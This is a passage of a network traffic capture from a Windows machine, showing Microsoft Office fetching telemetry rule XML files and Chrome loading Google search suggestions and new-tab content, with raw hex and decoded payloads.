2024-11-20 20:05:26 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 02a2c6fa-b01e-0001-107b-3b46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200526Z-178bfbc474bmqmgjhC1NYCy16c00000000hg0000000052pk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:26 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:26 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200526Z-r1d97b99577tssmjhC1TEB8kan000000099g000000004pk9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:26 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49709	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:26 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200526Z-1777c6cb754lv4cqhC1TEB13us0000000a2g00000000aw55 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49712	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:26 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:26 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:26 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: ae573645-101e-008d-516d-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200526Z-1777c6cb754lv4cqhC1TEB13us0000000a0g00000000kqhv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:05:26 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:26 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:05:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:26 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200526Z-1777c6cb754n67brhC1TEBcp9c0000000a50000000009tue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:05:26 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49716	216.58.208.228	443	2044	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:26 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 20:05:27 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:27 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-XBnWGNeBuUMgV60fMZJXPA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 20:05:27 UTC	124	IN	Data Raw: 31 34 36 62 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 76 69 63 74 6f 72 69 61 20 6b 6a 61 65 72 20 74 68 65 69 6c 76 69 67 20 6d 69 73 73 20 75 6e 69 76 65 72 73 65 22 2c 22 6d 6c 62 20 6a 75 61 6e 20 73 6f 74 6f 22 2c 22 74 61 72 67 65 74 20 65 61 72 6e 69 6e 67 73 20 72 65 70 6f 72 74 22 2c 22 79 6f 75 74 75 62 65 20 67 61 6d 69 6e 67 20 72 65 63 61 70 22 2c 22 6d 6f 72 Data Ascii: 146b)]}'["",["victoria kjaer theilvig miss universe","mlb juan soto","target earnings report","youtube gaming recap","mor
2024-11-20 20:05:27 UTC	1390	IN	Data Raw: 74 67 61 67 65 20 72 61 74 65 73 20 6e 6f 76 65 6d 62 65 72 20 32 30 32 34 22 2c 22 77 61 73 68 69 6e 67 74 6f 6e 20 63 6f 6d 6d 61 6e 64 65 72 73 22 2c 22 64 69 73 6e 65 79 6c 61 6e 64 20 73 6f 63 69 61 6c 20 63 6c 75 62 73 22 2c 22 68 61 7a 61 72 64 20 68 65 72 6f 20 6f 76 65 72 77 61 74 63 68 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 Data Ascii: tgage rates november 2024","washington commanders","disneyland social clubs","hazard hero overwatch"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:sugge
2024-11-20 20:05:27 UTC	1390	IN	Data Raw: 6c 46 4e 54 6b 52 6d 56 45 35 56 51 56 6f 7a 62 57 74 58 57 45 6c 4b 4e 58 4e 69 51 54 63 31 65 6e 51 7a 55 47 6c 6a 62 6a 6c 6e 53 46 56 6b 54 44 42 6c 4d 46 4d 33 61 6d 51 33 63 55 73 33 62 6e 64 72 59 33 5a 7a 4b 31 6b 78 51 6c 42 70 55 55 35 7a 61 79 39 4c 64 58 5a 34 57 48 4a 6a 61 30 39 7a 55 45 68 4f 54 56 5a 6f 61 30 4a 61 52 79 74 47 64 43 73 76 63 48 5a 52 4e 56 42 50 63 30 31 33 61 7a 42 36 56 57 5a 6a 55 6c 4a 35 5a 45 73 30 61 31 6f 78 55 47 67 33 63 6b 68 43 52 32 5a 4d 5a 6d 56 78 4e 33 51 78 4d 47 46 57 53 6c 45 30 61 7a 64 32 51 57 59 79 59 6c 64 6c 63 46 68 4f 64 7a 4e 46 55 45 78 51 51 55 6c 73 59 55 39 48 51 7a 52 50 4e 55 39 53 62 47 6c 31 54 57 56 43 51 58 6f 76 51 55 56 68 64 58 56 4b 52 6d 6c 70 55 30 74 4e 57 56 4a 47 51 33 46 4e Data Ascii: lFNTkRmVE5VQVozbWtXWElKNXNiQTc1enQzUGljbjlnSFVkTDBlMFM3amQ3cUs3bndrY3ZzK1kxQlBpUU5zay9LdXZ4WHJja09zUEhOTVZoa0JaRytGdCsvcHZRNVBPc013azB6VWZjUlJ5ZEs0a1oxUGg3ckhCR2ZMZmVxN3QxMGFWSlE0azd2QWYyYldlcFhOdzNFUExQQUlsYU9HQzRPNU9SbGl1TWVCQXovQUVhdXVKRmlpU0tNWVJGQ3FN
2024-11-20 20:05:27 UTC	1390	IN	Data Raw: 4c 51 33 4e 34 65 57 6c 76 65 56 6c 51 56 47 6c 36 59 7a 46 4b 56 58 4e 6e 63 56 52 6a 65 46 52 4c 54 54 52 32 65 56 46 6a 51 57 70 54 61 30 70 7a 51 58 41 47 63 41 63 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 67 6f 6f 67 6c 65 3a 65 6e 74 69 74 79 69 6e 66 6f 22 3a 22 43 67 67 76 62 53 38 77 4f 44 52 73 4e 52 49 4e 52 6d 39 76 64 47 4a 68 62 47 77 67 64 47 56 68 62 54 4c 75 43 57 52 68 64 47 45 36 61 57 31 68 5a 32 55 76 63 47 35 6e 4f 32 4a 68 63 32 55 32 4e 43 78 70 56 6b 4a 50 55 6e 63 77 53 30 64 6e 62 30 46 42 51 55 46 4f 55 31 56 6f 52 56 56 6e 51 55 46 42 52 55 46 42 51 55 46 42 61 6b 4e 42 54 55 46 42 51 55 Data Ascii: LQ3N4eWlveVlQVGl6YzFKVXNncVRjeFRLTTR2eVFjQWpTa0pzQXAGcAc\u003d","zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CggvbS8wODRsNRINRm9vdGJhbGwgdGVhbTLuCWRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRUFBQUFBakNBTUFBQU
2024-11-20 20:05:27 UTC	941	IN	Data Raw: 32 56 32 53 55 6b 72 52 55 34 79 53 57 5a 44 65 6e 67 79 63 6a 4a 77 5a 7a 46 6d 4d 45 6c 75 4f 47 6c 59 56 6b 39 6b 57 56 6c 47 54 45 6c 61 57 47 45 78 4e 6d 39 59 5a 44 4a 33 62 6e 6b 78 51 56 46 47 65 45 46 4d 5a 47 4e 56 54 6c 63 76 59 6b 4e 69 59 6e 5a 79 62 33 4e 52 4d 46 4d 72 51 55 78 6d 61 47 39 48 63 33 5a 32 61 46 64 31 4d 47 4e 54 65 6c 70 52 62 44 68 42 57 47 39 61 56 6a 4e 58 54 6a 46 68 57 6d 31 6b 4b 32 4a 78 5a 54 52 4b 5a 6b 46 49 55 57 64 6a 56 6d 68 7a 65 57 56 6f 65 48 70 4b 4b 33 49 34 56 47 35 72 54 55 4d 7a 62 56 42 4e 59 6e 46 35 64 6b 52 46 54 43 39 61 5a 45 52 76 54 6b 4e 43 52 45 52 36 4e 6a 46 57 5a 6c 45 33 63 58 4d 79 57 48 4e 75 65 54 4a 58 53 55 4a 42 51 57 46 75 57 6e 4a 73 56 54 64 70 57 46 4a 74 5a 6a 42 48 4c 30 52 42 Data Ascii: 2V2SUkrRU4ySWZDengycjJwZzFmMEluOGlYVk9kWVlGTElaWGExNm9YZDJ3bnkxQVFGeEFMZGNVTlcvYkNiYnZyb3NRMFMrQUxmaG9Hc3Z2aFd1MGNTelpRbDhBWG9aVjNXTjFhWm1kK2JxZTRKZkFIUWdjVmhzeWVoeHpKK3I4VG5rTUMzbVBNYnF5dkRFTC9aZERvTkNCRER6NjFWZlE3cXMyWHNueTJXSUJBQWFuWnJsVTdpWFJtZjBHL0RB
2024-11-20 20:05:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49717	216.58.208.228	443	2044	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:26 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49721	216.58.208.228	443	2044	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:05:27 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 20:05:28 UTC	1119	IN	HTTP/1.1 200 OK Version: 697526041 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 20 Nov 2024 20:05:28 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 20:05:28 UTC	271	IN	Data Raw: 32 30 64 66 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 20df)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-20 20:05:28 UTC	1390	IN	Data Raw: 75 30 30 33 64 5c 22 67 62 5f 50 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 6b 64 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 Data Ascii: u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabind
2024-11-20 20:05:28 UTC	1390	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 Data Ascii: role\u003d\"presentation\"\u003e\u003c\/span\u003e\u003c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdi
